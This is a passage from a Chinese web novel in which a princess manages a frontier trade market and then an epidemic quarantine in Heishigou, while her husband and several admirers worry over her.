封眠手中汤匙磕到碗壁,她惊讶得瞧一眼傅辞偃,这人到底是性子不羁还是不怕死?话音里头竟好似对嘉裕帝颇有些不满一样。 她扫一眼四周,流萤和雾柳垂眸静立装作没听见的模样,大堂内除了他们几个以外,并无旁人。几名侍卫守在门口的位置,听不见此处的交谈声。 “非议陛下,你是嫌脑袋顶着太重了?”幸好没旁人听见,添油加醋传出去,他可真是要倒霉了。 傅辞偃轻哼一声,显然不大服气,但也没再多说什么。 碗中的汤药晾得差不多了,封眠正端起来要一口闷,手上忽地一轻,傅辞偃竟一把夺走了她手中的碗,仰头将药喝干了。 咕咚咕咚声在安静的大堂内格外显眼。 空掉的药碗被搁回在桌上,咚一声闷响,“这几日被你们折腾得也没休息好,我试试这药管不管用。” 他垂下眼睫瞧着封眠,半阖的眼眸凌厉似一把出鞘的剑,“郡主殿下若是担心生病,不若现下回屋里头歇上一歇。若离了你互市就不转了,你带来的那几位大人是吃干饭的不成?” 他丢下这几句话,转身又走了,看方向是回房间去了。仿佛出来这一趟,就是为了专门与她抢药吃的一般。 封眠:…… 他是在说教吧?是吧? 虽说听起来是为了他好,但这比太后挖苦她时说的话也好不到哪里去。 流萤和雾柳亦是瞧得目瞪口呆,流萤蹭过来将空碗拿起来,瞟一眼封眠,“那位傅公子做人虽然没什么礼貌,对郡主也没有半点尊重的样子,但话倒是说得没错,吃好睡好比喝什么药都强!” “郡主,左右没什么要紧的事了,回屋再睡一会儿吧?”雾柳紧随其后,上前将封眠扶起来往楼上带。 封眠无话反驳,就这么稀里糊涂又去睡了个回笼觉,再醒来时确实神清气爽,腰不酸了腿不痛了,感觉还能再绕互市走上十圈。 房门被笃笃敲响,雾柳轻声在外问询:“郡主,醒了吗?” “进来吧。” 雾柳推开房门,脸上挂着明显的笑意,“世子殿下……” 封眠心头一跳,百里浔舟又来了?她下意识跳下床,匆匆抓起搭在床边的苍松色外衫,又一瞬觉得这件外衫色调太重了,松了手打算挑件新衣裳。 接着便听雾柳继续道:“世子殿下遣了人送东西来,就在大堂候着呢。” 喔,原是遣了旁人来的。 封眠的手又摸回了苍松色外衫,出门在外,不比在府里头,哪需一日换几套衫裙,凑合穿一穿吧。 大堂里摆了两个箱笼,傅辞偃又蹲在箱笼旁打量着。 怎么哪里都有他? 有些眼熟的王府小厮冲封眠行了一礼,“世子妃,世子殿下命小人给世子妃送些新鲜吃用来。互市还有数日,殿下很是记挂世子妃,望世子妃能好生顾着自己的身子。” 箱笼里还有一个三层小食盒,封眠打开一瞧,里面上下两层皆铺着冰,中间一层是乳酪酥山,莹莹如雪,瞧着便令人口舌生津。 小厮更来劲了,挺直了腰板介绍道:“世子殿下念着世子妃爱用冰,如今天气日渐热了,便特意去买了来,生怕化了,特意亲手在上下两层密密铺了冰。” 他在“特意”和“亲手”两个词上加重了话音,着重强调,心下想着来时世子殿下嘱咐他的话:若郡主高兴了,便给他加赏银。 “世子说怕世子妃吃坏了肚子,便没多买,这一点酥山姑且为世子妃解一解暑意。” 他怎么知道她爱吃冰的?封眠忽地想起来自己刚到北疆的时候,还拉上流萤、雾柳、柳寄雪一起去逛过酥山店,便猜他应是跟周围人努力打听过了,一时有些为他的用心而感到高兴…… 她还真是有些馋了。 “到底是王府世子,家底丰厚,出手就是阔绰。”傅辞偃一张嘴,将百里浔舟说得好似什么败家的膏梁纨袴子弟一般。 小厮古怪地瞧他一眼,急忙扬声为自家世子正名,“置办这些,全用的我们世子平日里的饷银,世子说了,他往日没甚花销,攒下来的银子日后都要花到世子妃身上。” 旁边一声惊呼,傅辞偃惊讶地瞧封眠,“他饷银竟不交你保管?” 小厮:…… 这人什么毛病? 封眠:“……那点银子我用不上。” 流萤小声跟雾柳嘀咕,“这傅公子到底什么意思啊,怎么老挑刺找茬儿,这些都关他什么事啊?” 她说着倒吸一口凉气,“他该不会对郡主……” 雾柳摇摇头:“瞧着不像,况且我觉得傅公子看郡主的眼神,没什么旖旎心思。你不是号称熟读话本,这也看不出来?” “我当然也瞧着他眼神不对了。”流萤辩解道,“只是他这人不太正常,我怕用常人那套理论,解读不了他的心思。你懂吗?” 雾柳:“我不懂。” 箱笼前,傅辞偃探首,“什么味道的?” 封眠生怕傅辞偃把自己的乳酪酥山也给抢了,一手拎着食盒提手,另一手将食盒揽住抱在怀里,全方位防范着,还有些警惕地瞧了他一眼。 傅辞偃:…… 他哼了一声,甩袖转过身去,“谁要吃这种甜兮兮腻人的东西。” 难不成你就爱吃跟汤药一样苦的东西?什么癖好! 封眠抱着食盒回了屋,一面享用,一面给百里浔舟写信,着重夸赞了一番乳酪酥山的味道,又十分捧场地盛赞了百里浔舟几句,最后图穷匕见。 “我今日梦中都还是乳酪酥山的味道,互市还有十余日才结束,也不知下次再吃是何时了。” 此时此刻外头艳阳高照,手边乳酪酥山刚见了底,她根本连眼都还没闭上过。 百里浔舟接到信时一眼便瞧出她的小心思,心下有些好笑。他想了想了,隔几日吃上一碗酥山似乎也不算多,不过他还是谨慎地派人去问过柳寄雪,确认没有问题,才决定每隔三日派人给封眠一碗酥山,再配上不同的果浆浇头,定让她吃得高高兴兴。 第65章 逐渐升高的日头阻挡不了人们赚银两的热情。观望了两日的其他大雍商贾眼瞅着互市火热,纷纷也赶来来登记,准备继承一些已经收够了货物,准备撤市的商贾的摊位。 众人在互市门口来往着,顺便就外头吃起了井水湃过的瓜果。 这是黑石沟的村长带领着村民们在市集入口处摆的小摊子,他某次见郡主吃酥山,心思活泛起来,便做起了井水湃凉瓜的生意。 冰是稀奇紧俏的东西,他们小本生意供应不起,但家家都有一口井,头一晚将瓜果浸在井水中,要吃的时候捞上来切开,扑面而来的沁凉之意,足以解去七月的暑意。 为了保证供应的瓜果足够凉,他们都是先接了单子,再命孩子狂奔回家中,将客人要的瓜果捞上来,再狂奔回来。 生意好极了,就是有些费孩子。 村长正笑盈盈地忙碌着,听见有人在头顶叽里咕噜说着听不懂的话,一抬头瞧见一个生面孔。 这几日旁的不说,村长是将互市上几乎所有人都瞧了个面熟,面前的人不但脸生,穿着打扮的风格也陌生,发尾还染着奇怪的红色,说了半晌北夷话才生硬地吐出两个大雍字,“互市”。 村长并没有恍然大悟明白他在说什么,但他知道苍狼部的圣女日日都守在互市门口,等着帮不通大雍官话的北夷人做翻译,于是扬手一指圣女所在的方向,“去那边,找她问,那边!” 那北夷人看懂了,给他留下一颗圆溜溜亮闪闪的珠子做谢礼,往弥荼的方向走去。 弥荼早便瞧见了他们这一行人,发尾用特殊的植物染料染着火红狐尾一般的颜色,是飞狐族的人。 飞狐族的人口在北夷算得上是大部族,战力也属于中等,一直是阿尔纳部努力拉拢的对象,如今倒是也主动来向大雍示好了。 飞狐族领头的是一名中年贵族费力,曾在草原上与弥荼见过几面,他恭恭敬敬地向弥荼行了个见面礼,“苍狼部的圣女,我们飞狐族想要加入本次互市,需要付出什么?” 他问的直截了当,目色严肃,本次出行,他和身后的同伴们带上了部族最优秀的货物,只要能加入互市,分一杯羹,任何代价他都承受得起。 弥荼还未说话,她身侧探出一个脑袋,褚景淇欢快道:“哦北夷的朋友,大雍欢迎你!” 褚景淇这两日地位飞升,已经在弥荼旁边有了专属于自己的座位。他才发现自己似乎在学习语言上天赋超然,不过几日下来,简单的北夷语交流对于他来说简直易如反掌。 费力愕然地瞧着出现苍狼部圣女身边的这个大雍人,看 满身金玉的穿着,和这种地主般的语气,像是大雍的贵族。 看来传言不假,苍狼部和大雍的关系当真是好啊。 褚景淇兴致勃勃地指指费力的发尾,“这颜色真特别,我能染吗?” 他话音未落,便被弥荼一个肘击推到身后。 弥荼指了指入口另一侧,“大雍的郡主在那边,互市的事情,你自己亲自去找她谈。” 后头来的人可不能借着她的面子,从封眠手里直接拿到她谈好的条件。 捂着胸口揉了又揉的褚景淇热情地跳出来,“我来带你去!” 对侧搭起的凉棚下,封眠正在听一个种子商人细细介绍自己带来的种子。 面前的桌上摊开摆着数排各种各样的种子,这几日陆鸣竹和弥荼带着人找来的种子也都一并摆在此处,每一粒种子下面都铺着一张纸,上面写着植株名姓、外观特色和种植要点。 许是听说郡主在寻找新奇的种子,一名种子商人千里迢迢赶来,自述走了几万里路搜罗奇珍异种,希望能谈成生意。 他觑着封眠的神色,感觉她一直都神色平平的模样,看不出来有多大的兴趣,心下有些着急了。 他准备的大多数都是一些比较独特美丽的观赏植物,或是味道特殊的香料,应该最受这些贵族女子欢迎才对啊? 种子商人快没招了,他拿出最后一种种子,“郡主殿下,您别看这种子其貌不扬,开的花朵洁白无暇,像天上一团团蓬松的云朵,又好似落在人间的不会融化的初雪。” 被他捧在掌心的种子呈深褐色,形状并不规则,有些干瘪。 “我拿到种子的地方似乎是叫它白叠子,我便以此当作它的名字了。” 封眠忽地眉梢一动,她想起幼时有一次冬日,盛京难得下了场大雪,他贪玩冻着了,病起来也觉得浑身发凉,那时候她在梦里见过这种植物。 它被人叫做棉花,并非只有观赏的效用,这种棉花经过处理之后,缝在衣服、被褥里做填充物,非常轻便保暖。 想到北疆凛冽的寒风,她有些心动了,“白叠子的种子你有多少?” 种子商人没想到在最后一枚种子这里成交了,喜出望外,忙道:“我这次带了五百粒种子回来,郡主若需要,我还能弄来更多!” 封眠颔首:“行,有多少要多少。” 她又挑了其他一些确实比较特别的种子,一并都要了,让官员去与他敲定契书。虽然她最想要的种子还没找到,但见着了另一种同样重要的种子,封眠还是很高兴的,等户部的司农来了,就可以让他们去试种了! 见她终于忙完了,褚景淇赶紧带着飞狐部的人上前,“小表妹,来新人了!” 方才等待的几刻钟里,他已经凭借初学的北夷语将飞狐部的情况都摸清楚了,现下一五一十地与封眠说了。 “我瞧着他们挺有钱的,也不是来打听打听就要走,是做好了付出代价的准备来加入互市的,你尽管开价。” 封眠向他投去赞叹的眼神,“九哥,你真应该去四夷馆任职。” “饶了我吧,我在你这互市闹着玩还挺开心的,要是当官点卯可是要了我的命了。”褚景淇连忙讨饶,瞧见有通事过来帮忙翻译,他忙脚底抹油地跑了,生怕被封眠联合皇伯伯将他丢去四夷馆历练。 与飞狐部的洽谈确实十分顺利,盛入褚景淇所言,他们是做好了付出代价的准备过来的。但封眠也没有提出什么太苛刻的条件,只要从他们互市所得的利钱中抽取一成即可。 当初给北夷商贾和大雍商贾划分商区时,占地面积是一致的,所以如今北夷商区还有空余的摊位,他们今日便可入驻,无需再等待其他部族撤市。 封眠在前头与飞狐部商谈时,傅辞偃就一直翘着腿坐在后面,嘴角含笑地看着她的背影。 顾春温一个转身,便将他的神情收入眼底,心下古怪的感觉愈演愈烈。 傅辞偃劝着封眠在驿站休息了两日,封眠没来互市,以闹要看互市为理由闹着留下来的傅辞偃也不来。封眠一来互市,他也屁颠屁颠的跟着过来了。 现下还嘴角含笑地看着封眠的背影,怎么瞧怎么不单纯。 顾春温向后挪了两步,站到傅辞偃面前,挡住他的目光。 身后傅辞偃还不安生,抬脚撩了撩他的袍子,“喂,顾大人,让一让,挡着我了。” 顾春温本想给傅辞偃一些体面,不戳破他,但现下当真有些忍不住了,侧过身瞧他,冷声提醒道:“傅公子,郡主殿下已然嫁与了世子,你行事言辞还请收敛些。” “嗯?”傅辞偃挑眉,故意做出困惑的模样,“你的意思是,像你一样吗?” 顾春温浑身一僵,血液轰然涌上头顶,又在瞬间褪得干干净净,徒留一张煞白的脸。 他盯着那双含笑的、洞悉一切的眼睛,自喉间挤出几个字:“你在胡说什么?” 啧,到底是年轻,被人说破心思就绷不住了。 傅辞偃心下好笑,故意道:“不用我再说得更明白了吧?这种事情说穿了,可就藏不住了。” 他压低了声音,语气里也含着笑意,仿佛在故意戏弄顾春温,说道:“成婚了又怎么样?郡主可以养面首啊。” “我这样的身份,做郡主的面首自然是没有任何挂碍的,我可以不要脸。可是你呀,堂堂状元郎敢舍下这个脸面吗?” 顾春温又被戳中了隐秘的心思,他怎么没想过呢?最初盛京送别时,他当真以为再无机会见面了,已决定放下这份有缘无分的单相思。可后来到了北疆,再见到郡主,仍能体会到从未拥有过的被吸引的感觉。 他冷眼瞧着陆鸣竹犯傻,什么心思都写在了脸上,见到郡主就像小狗狂摇尾巴,自己却也下意识地为了见郡主一面,为了与郡主同乘,耍起一些幼稚的小手段。 他冷眼看着世子殿下渐渐对郡主上心,想着如此也好,看他们夫妻恩爱,就此死心。可却忍不住想,若世子殿下的心意不能长久,他就……就怎么样呢?他不敢想。 看出郡主对世子似乎还并未动情,他又难免微妙地高兴起来,就好像这样自己也有了机会一般。 他想吗?他敢吗?他做得到吗? 顾春温攥紧了袖口,指节因用力而泛出青白色,听见自己急促又混乱的心跳,在空寂的胸腔里擂鼓般震荡。 傅辞偃唇角勾起冷诮一笑,语调凉薄如刃,“同我说这些,有什么用?” 他语速放缓,字字清晰,“有本事,去找百里浔舟呀。” 他想了想,还是没有加上那个傻小子陆鸣竹的名字,小倒霉蛋不值一提。 聪明人顾春温都被他被气晕了头呢—— 作者有话说:傅辞偃:我没这个心思,纯爱欺负人[白眼] 百里浔舟:撕起来,撕得更响些! 第66章 一个人心中的翻江倒海,是搅不动旁人周身风浪的。 任顾春温如何被阴云笼罩,天地仍是晴朗,飞狐部的人欢欢喜喜地通过了检验,入了互市,另一行人也深一脚浅一脚地往近前走着。 他们衣着褴褛,满面风尘,并非异域长相,拖家带口的模样也并不像是大雍的商人,看情状,倒更像是流民。 封眠正要谴一名侍卫上前去瞧瞧,就见瓜果摊前的村长丢下了摊子,欢天喜地地迎了上去,雄浑地吼了一嗓子:“老于!” 咦,他们认识? 眼见村长与行在最前头的一名老者执手相看泪眼,封眠想起此前他曾说过,黑石沟其他村子的一些人往南方去了,心下了然,这些人应当便是他口中往南方行去的那些百姓。 被村长唤作老于的人将他上上下下打量了个遍,见他身体康健,面色红润,穿着整洁,便知他近些时日过得不错,又瞧见互市的 繁华,眼中流露出歆羡,“还是你有福气啊老彭,遇见了开互市这么大的好事!” 说他有福气,彭村长自是承认的,若没点福气,怎么能碰见郡主呢?现下还不知在哪个山沟沟里啃树皮。 他心中这般想着,见老友枯瘦的模样,哪忍心与他对比,只能嘴上安抚道:“你们赶在互市建成,正是最热闹的时候回来,这福气与我们差不离嘛,活儿都让我们干完了,你们只管享受就是了!” “走,我带你去见郡主殿下。对了,你不是南下去了吗,怎么这么快就回来了?” 彭村长将人领到封眠面前,于姓村长颤巍巍见了个礼,听见这句问话,愤怒得褶子都在抖,“我们是想南下,但也得官老爷们肯放行才是!” “他们瞧见我孙儿病了,说什么也不许进城,还将我们往回赶!我们真是走投无路了,回程时觉得这次要没命活了,有几个体弱的撑不住,想轻生。幸而听见人说黑石沟开了互市,不同以往了,这才拼了股劲儿,硬是走了回来!” “病了?”封眠目光一紧,向于村长身后看去,一行五六十人都瘦得皮包骨,头发蓬乱,显然一路上受了不少的苦,正巴巴地瞧着她,似乎生怕也被她拒之门外。 封眠于心不忍,但还是问道:“您孙子在何处?可痊愈了?” 于村长略一犹豫,面上露出懊恼之色,暗暗怪自己多嘴。他身后的人群也躁动起来,齐齐将一名妇人藏在身后。显然南下时被拒之门外的记忆,让他们有些应激,生怕千辛万苦回到了家门口,依然进不了家门。 封眠没再多说什么,转而吩咐雾柳:“让人取些水和容易克化的汤羹来。” “诸位先到一旁歇息片刻,用些饭食吧。”封眠眼风扫向风甲,风甲立时带着侍卫将于村长一行人往一旁领,并用人墙将他们与互市入口处的人流隔离开来。 于村长千恩万谢地领着村民们跟了过去,很快便领到了热腾腾的米粥,浓稠的米粒颗颗分明,最清淡的米香扑鼻而来,久违的干净的食物的味道令人鼻酸。 他们顾不得许多,捧着碗便狼吞虎咽起来。 封眠静静待他们腹中有了热乎的食物,才开口道:“我并非是想拦着大家回家,只是担心有疫病的风险,所以想请侍医为生病的孩子和诸位都瞧上一瞧。尤其是年幼的孩童,发起烧来,可不能放着不管,便不是疫病,也容易烧出其他毛病来。” 于村长尚在犹疑,一名怀抱着一个两三岁孩童的妇人蹭地站了起来,急切道:“我家孩子肯定不是疫病!郡主殿下,您瞧,这孩子坚强,一路上反复起热又退烧,硬是自己扛过来了,我听说那一直好不了的才是患了疫病,我们孩子明明好得很。” 封眠上前两步,正要抬手试一试孩童额头的温度,旁侧插过来一只手挡开她的手,轻轻碰了下孩童的额头。 傅辞偃拧眉:“烫的,发着烧呢。” “很快便退了!”虽然刚刚才吃了热粥,对着封眠有些放下心来,但妇人仍是怕封眠他们不让她和孩子回家,抱紧孩子往后躲了两步,“前日还好好的,只是这两日赶路吹了风才又烧起来的,很快便能退了!” 于村长附和着点头:“对对,孩子就是着凉了,没什么大事,郡主您放心。” 封眠与傅辞偃对视一眼,眼底皆有担忧。 重新挂上温和的笑意,封眠劝道:“我知道,孩子肯定会没事的。但是为了大家的安全起见,还请诸位先暂且在黑石沟外沿住上两日,我每日都会派侍医去为你们一一诊断,待确认无事,诸位便可回家了,可好?” “我们……”妇人看起来不大乐意,还想说什么。 彭村长赶紧接话:“那会儿我们跟郡主回云中郡也是这般,先在城外住上几日,请医官给我们检查完,养好病,才能进城。” 他强调:“那疫病可不是闹着玩的!” 于村长遂把妇人往身后一拦,笑道:“好好,那我们听郡主的,先不回去。” “吃食被褥皆会为你们准备好,什么都不必担忧,你们只需好好休息即可。” 众人喏喏应了,跟着侍卫一起往更远处走。 走远时,封眠还听那妇人在问,“我们的身子,自己还不清楚病没病吗?这都已到了家门口了,还拦着不让回家……” “郡主说话你应着就是了,说这么多没用的干什么!”于村长低声训斥。 封眠只能在心底暗暗许愿,千万别有疫病,那才是皆大欢喜。 “顾兄,你怎么魂不守舍的?”陆鸣竹与种子商人签订好了契约,欢欢喜喜地抱着文书回来时,路过顾春温,不小心撞到他的肩头,发现他瞧着于村长等人消失的方向出神,还以为他是在担心,“这种事郡主处理起来有经验,你我只管放心就是了!” 顾春温瞧他没什么心事的模样,忽然觉得自己想得有些太多了,被傅辞偃几句话牵着鼻子走。世上的路并非只有一条,人生又极其短暂,想得太多徒增心头负累,且过一日算一日的欢愉。 现下每日相见,已是极好。 他弯唇拍拍陆鸣竹的肩,“放心,我自是放心的。” 侍医去给于村长一行把脉回来,说大人们都没什么事,有几个孩子略有些低烧,于村长的孙儿状态暂且平稳,开了几服药让他们先吃着看看情况。 傍晚,封眠不放心,又派侍医去了一趟,没过多会,侍医就背着药箱被侍卫们送了回来,他急得满头大汗,“他们,他们人不见了呀!” “不见了?”封眠疑心自己听错了,为防万一,她还派了四名侍卫以照顾的名义在旁看守,这样也能将人看丢? 那四名侍卫羞愧请罪,“请郡主恕罪,我等不知怎的昏睡了过去,没看住……” “不怪他们,许是他们饭食里被放了安眠的草药。”侍医忙替侍卫们解释,他们哪能想得到在自己的地盘上,保护自家百姓的安危,还能被百姓下药呢? 侍医想起白日里去把脉时,那些个村民围着他东打听西打听,问什么时候能回家,各个都保证自己没病,想让他高抬贵手,便猜测道:“我看他们八成是偷偷回家里头去了。” “这也太不将孩子的安危放在心上了吧!”流萤听得来气,忍不住插话道,“还烧着呢怎么就偷偷跑了?郡主遣人给他们瞧病,又不是要害他们,也没说就不许他们回家,急在这一时吗?” “也不知南下的路上,被如何吓着了,是真怕我不让他们回家。”封眠无奈。 侍医摇头叹气:“我看也不止是因为这个,那位于村长是个讳疾忌医的,一开始问我能不能不给他孙儿吃药,觉得是药三分毒,小孩子年纪小身子骨弱,受不住,用些土方就能治好了。你说这……” 听见“是药三分毒”这个说法,封眠和流萤、雾柳没忍住瞧向了傅辞偃。 傅辞偃:“……我是说没事不要乱喝药,又没说生病了也不许喝药。别把我和那帮愚民相提并论。” 他又不是嫌自己活得太长了,救命的药便是能将他毒哑也是要吃的。 “你们去找彭村长问一问,于村长他们是哪个村子的……”封眠想了想,道,“多带些人去,请彭村长领着你们跑一趟。他们不愿意在外头住,回家就回家吧,但不许他们任何人出村子,直到侍医看过没问题了才行。” “是!” 后日天色晴好,碧空如洗。 身着轻甲的百里浔舟骑在马上,接过哨探递来的情报,“阿尔纳部最近小动作不断,竟是在找人……可知是什么人?” “只打听到是个大雍人,喜穿靛蓝色直裰,面上有一道自右上横贯左下的伤疤。” “衣裳而已,再喜欢还能一直穿吗?换起来可太容易了。脸上的疤也未必就是真的。想办法弄到那人的画像,再打听清楚阿尔纳部为何要找他。” “是!”哨探匆匆退下,与急吼吼跑过来的王 府小厮擦肩而过。 “世子!世子不好了,世子妃……”他脚下一滑,摔了个大马趴。 急得百里浔舟立时翻身下马,将人薅起来问,“你慢慢说,世子妃怎么了不好了?” 小厮努力地平复呼吸,被百里浔舟近在咫尺地盯着,紧张得脑子里有什么便一股脑地倒了出来,“我今日如往常一样去给郡主送乳酪酥山,隔着四五百米远便被人拦下了,那侍卫说……” 他打了个磕巴,百里浔舟拧紧眉心,手背攥得青筋暴起,呼吸都快停了,“说什么?!” “说黑石沟于家村爆发了疫病!” 仿佛一道惊雷劈在身上,强烈的酸麻感瞬间蔓延至心脏,停跳了一拍。 第67章 “这次就先送这么多过去,将还缺的药材先记下,再去别的地方买。” “吃食要备齐了,要想身体健康,入口的东西很重要,决不能缺了!” “面巾赶制出来多少便先送去多少。对了,让大家也歇一歇,别伤了眼睛。” 王府上下忙成了一锅粥,来往的人一步也不敢耽搁,都快跑出了残影。 打从听说了黑石沟疫病的消息起,王妃就急得坐不住,安排了这个,又觉得自己忘了那个,将自己忙得晕头转向,脑袋里有根筋一直突突地跳。 柳寄雪记录下还需要补货的药材后,扭头便瞧见王妃闭目揉着太阳穴,脑后步摇乱颤,有些站不稳的模样,忙上前扶着她坐下,“东西都备得差不多了,您快坐下来歇一歇,莫将自己累病了,再让郡主为您忧心。” “对对,你说得是,阿满那里事情已经很多了,我可不能再让她担心了。”王妃点点头,抚着胸口让自己冷静下来,又想起一事,向院门的方向看去,“阿琢呢?他可回来了?” “母亲!”百里浔舟自院外阔步闯了进来,身后披风翻飞,猎猎作响,他额上浮着薄汗,微湿的碎发黏在额角,显然是一路疾驰,还未到近前便急急问道,“东西可都备齐了?” “齐了,齐了没有?”王妃应了一半,有些心慌地看向柳寄雪。她生怕自己漏下一两样东西,就给黑石沟造成什么更严重的后果。 做王妃这么多年,她还从未如此失态过。 柳寄雪握了握王妃的手,笃定道:“齐了。回春堂有三位坐馆大夫,六名学徒,另有四家医馆送来了八名坐馆大夫,十二名学徒,算上我在内共有十二名大夫去黑石沟,暂且够用了。” “好,吩咐下去,即刻启程。” 柳寄雪点了点头,带着其他人去准备。 百里浔舟上前两步,倾身揽了揽母亲的肩头,放软了声音安抚她,也是在安抚自己,“母亲且安心在家等候,我去瞧一瞧她,定会没事的。” 初听消息时,百里浔舟觉得心脏仿佛被一只无形的手死死攥住,眼前的景物都扭曲模糊了起来。他强迫自己冷静下来,想着没听到封眠染病的消息,她就还是安全的,当下最重要的是要确保她能一直安全下去。 他知道单独接她出来自是不可能的,她也不会同意,唯一的办法便是尽快解决疫病。 可惜他不是大夫,不通医理,此刻唯一能做的也只有尽快地给她运去更多的物资,让她什么都不缺,有足够的物资保护好自己。 百里浔舟心急如焚,恨不能生出双翅飞到封眠身边,甚至想若□□麟驹真能化作通灵麒麟,踏云破风而去便好了。 他一骑绝尘,将运送物资的车队远远甩在数百米之后,远远望见疾羽营士卒拦路设下的关卡才勒马慢下速度,还未行到近前,便已迫不及待翻身下马。 两名守卫还没来得及向他行礼,便先被他一连串问话打断,“里面情况如何?郡主呢?她是否安然无恙?” 他脚下像踩着云,虚飘飘的充满了不安感,站在此处,纷杂的思绪便不可抑制地冒了出来,她刚来北疆时就爱生病,身子骨本来就弱,听说于家村的人是南下后折返,听说了互市的事情才找了过去,定然与她有过接触,会不会…… 日头并不算晒,却让他一瞬间产生一种被暴晒日久的晕眩之感。 “回禀世子。”一名守卫连忙禀报,“我们半个时辰前刚换过防,目前事态还算可控,感染的病人暂且都安置在于家村,曾与于家村众人有过接触者,也按接触深浅分别隔离。郡主若是一切无恙,稍后应该会亲自带人来取物资。” 百里浔舟心下猛地一沉,恍惚听见自己骤然干哑的嗓音,“她接触过……” 守卫赶忙解释:“只是近距离说过几句话,并未有肢体触碰,侍医说应无大碍。只要今日不曾发热,便算是平安了。” 等待的每一刻都如同在火上煎熬。当远处隐约传来马车声响,他倏然抬头望去,前方道路依然是空荡荡的。 不过是后方运送物资的车队追赶了上来。 情急失态,他都忘记分辨声音传来的方向。 百里浔舟怔怔立于原地,仿佛连心跳也滞住了。 就在此时,道路尽头出现一个小小的影子,逐渐清晰、扩大,正是一辆马车疾驰而来! 他屏住呼吸,眼睁睁看着那车在十几米外停稳。先跳下来的是个陌生的侍女,百里浔舟的心脏猛地坠了下去,接着就见她转身向马车内伸手。一只熟悉而白皙的手搭在了她的手上。 封眠弯腰走了出来。 百里浔舟心头紧绷的弦登时松了下来,脚下踩着的土地此时方才有了实感。 封眠身穿素净的布衣,面上蒙着纱巾,只露出一双清澈的眼。隔着那么远的距离,她也瞧得见百里浔舟面上的焦急,若不是有守卫拦着,看他的架势,真的很像下一刻就要冲到她面前了。 她含笑温声道:“别担心。” 幸好她一早就派人看住了于家村众人,发现情况不对时,便将人就地隔离。更为庆幸的是,于家村众人并未进入互市区域。疫症初显之时,互市也已接近了尾声,没有将千里迢迢赶来的两地商贾们牵连进来,否则后果不堪设想。 百里浔舟这才察觉到自己的指尖还在不受控制地微微颤动。他缓缓呼出一口气,强压下翻涌的心绪,不想将自己的忧虑传染给她,只低声道:“好,我最放心你了,你一定会照顾好自己的,对吗?” 他微蹙着眉眼瞧她时,眼底是柔软的、易碎的希望,希望她平安无事。 封眠不知怎么的,心下忽地一酸。 听见疫病消息时她没乱,毕竟从遇见顾村长等人,她就一直在暗暗担忧,如今不过是悬在头顶的剑终于掉了下来。独自一人在屋内隔离时她没乱,隔着门板吩咐众人燃草药熏屋子、煎汤药预防,忍着满屋子最讨厌的药味,一丝委屈也没有。 可看见百里浔舟这样心焦地瞧着她,她忽然便有些脆弱了,只能借着点头的动作,飞快地眨眨眼,眨去眼底一点微弱的水汽。 百里浔舟:“能走近一些 吗?这里很空旷,我们隔着几米远,不会有事的。” 封眠犹豫了片刻,她将手探进袖中,摸出一卷画纸,向前走了几步,将画纸展开,举给百里浔舟看。 “我将于家村沿途所经之路画在上面了,你记一下,定要派人寻迹排查一番。” 疫病源头尚未明确,也不知这一路上有没有其他病人,沿途皆需燃苍术、艾草以驱秽气。 一阵清风卷过封眠的发烧,百里浔舟嗅到空气中微苦的药味。 他想到她很讨厌药味,这几日定然过得很难受。 百里浔舟的目光越过画纸看向封眠,面纱遮住了她的下半张脸,但朦胧可见,她气色尚可,显然并没有为了让他宽心而故意诓他。 他盯着封眠看了两息,才将目光落回到画纸上,扫了一眼后便道:“好,我记住了。” “这么快?”封眠惊讶。 百里浔舟扬了扬眉,难得带上一点笑意:“质疑一个带兵多年的少将军背图的能力?” “不敢不敢。”封眠笑着将画纸卷起来,瞧一眼他身后停候多时的马车,“有劳你跑这一趟。” 百里浔舟:“这是应当的。若还缺什么,便与我说。” 见他们话音暂歇,柳寄雪才下车上前,无奈道:“可以放行了吧?” “阿雪!”封眠欢喜地冲柳寄雪伸出了手。 守卫撤开了路障,百里浔舟眼睁睁看着柳寄雪走过去,牵住了封眠的手,竟还转身给他递了个挑衅的眼神。 似是在嘲笑他被拦在了外头。 百里浔舟:…… 载着物资的马车一辆辆从他眼前驶过,他只能从缝隙中瞧着封眠与柳寄雪拉着手亲昵地说话。 有些不爽。 为了尽可能少地让人进入疫区,马车都是由医馆的学徒驾着驶入,磨蹭了好一会。 待最后一辆马车驶了进去,封眠才重又看向百里浔舟,声音柔软地与他道别,“我该走啦,你与父亲、母亲务必珍重,也要照顾好云中郡的百姓们。” “好。” 百里浔舟点头,一直目送着封眠的马车消失在来时的路平面上,才上马离开。 驿站里头,傅辞偃正因为摸了于家村那个发烧孩童的额头,被单独隔离在后院里头,喝着按药方调配的防疫汤药。 留在驿站的流萤和雾柳在外头负责给后院里头隔离的几位发药,流萤悄悄和雾柳说小话:“现在怕是傅公子也说不出‘没病别喝药’这样的话了。” 隔着薄薄的门板,这一点细微的笑语尽数被傅辞偃听去了,他重重将药碗搁到桌上,佯装生气:“今时与往日能一样吗!哼,你们两个还有心思在外头说我的闲话,看来郡主御下当真是太过松懈了。” 流萤吐了吐舌头,赶紧牵着雾柳跑开了。进了前厅的门,便瞧见封眠和柳寄雪挽着手进了门,喜笑颜开地迎了上去,“郡主,柳姑娘!” 看她们俩这么高兴,便知今日驿站里隔离的大家也都平安,封眠安了心,与柳寄雪和其他大夫们在堂内坐下,将如今黑水沟的情况一一说明。 于村长的外孙是第一个烧得退不下去,开始出现胡言乱语的孩子,侍医第一时间就去了于家村,暂且就住在村外设的营帐里。 柳寄雪一行人若要近距离给病人们看病,也只能暂且住在附近。 众人都没什么异议,只略作修整便出发了。又根据病患的症状,重新调配了防疫汤药。 人手够,物资足,一切显然正在向好发展。 第68章 深更夜阑,浓酽夜色笼罩着黑石沟,于家村内外却是灯烛煌煌,仿若星子落人间。 跃动的烛火将柳寄雪的和几名大夫的身影映在营帐之上,众人围案而坐,面前摊着纸笔,皆神色肃穆,正熬夜斟酌着药方的增减。 柳寄雪沉吟片刻,开口道:“村头何阿婶的病症发得急,今日用药起了红疹,似是风疹。我想明日在她药中加上一钱射干,一钱枳实,既不破原方药性,又可清热祛疹、理气抗敏。” 一旁蓄着雪白长须的徐大夫不住地点头,“此法甚妥,老夫认为可行。” “于小莲的症状更为棘手一些。”另一名戴着叆叇,短髭整齐的陈大夫向柳寄雪请教道,“柳大夫,您看是加些麻黄好,还是桂枝更宜?她高热不退,需发汗解表。” 回春堂的刘大夫见状,略带骄傲地直了直腰,调侃道:“陈大夫白日里不是还说女子心性柔弱,悟性有限,从医绝非正道,又年资浅显,岂可统领你我,这会怎么倒谦恭起来了?” 